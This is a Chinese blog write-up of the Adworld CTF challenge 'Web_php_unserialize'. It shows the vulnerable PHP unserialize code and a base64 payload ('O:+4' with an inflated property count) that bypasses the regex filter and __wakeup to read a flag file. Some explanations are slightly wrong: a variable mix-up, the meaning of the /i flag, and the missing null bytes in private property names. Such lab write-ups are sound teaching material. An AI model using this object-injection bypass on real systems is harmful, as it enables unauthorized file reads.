攻防世界:web——Web_php_unserialize
2021/8/23 22:05:35
本文主要是介绍攻防世界:web——Web_php_unserialize,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
靶场内容:
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } } if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else { @unserialize($var); } } else { highlight_file("index.php"); } ?>
很显然,解题的关键点有两个:
- function __wakeup() :这个方法的存在阻止我们将序列化文件传入
- preg_match('/[oc]:\d+:/i', $var):这个过滤器的存在阻止我们的序列化参数
/[oc]:\d+:/i是一个正则表达:
- [oc] 匹配所有的o和c两个字符
- \d 匹配所有整数
- /i 匹配所有的字母
也就是说,我们如果输入任意的序列化参数,都会被搞掉
题目告诉了我们flag文件是fl4g.php
我们可以生成序列化:
$a = new Demo('fl4g.php'); echo serialize($b);
序列化是这样的 O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
我们可以稍作修改,比如:
O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
再用base64编码,传递var参数,就可以直接得到flag了
这篇关于攻防世界:web——Web_php_unserialize的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-03-29env: php: no such file or directory
- 2024-03-01php foreach break
- 2024-02-26Exception参数 php-icode9专业技术文章分享
- 2023-12-30PHP文件批量上传-icode9专业技术文章分享
- 2023-12-30thinkphp6 withJoin-icode9专业技术文章分享
- 2023-12-27MagicArray:像php一样,让Go业务代码不再卷!
- 2023-11-18centos7编译安装PHP教程。
- 2023-11-18centos7编译安装phpMyAdmin教程。
- 2023-10-13唱衰这么多年,PHP 仍然还是你大爷!
- 2023-07-25PHP8,性能更好,语法更好,类型安全更完善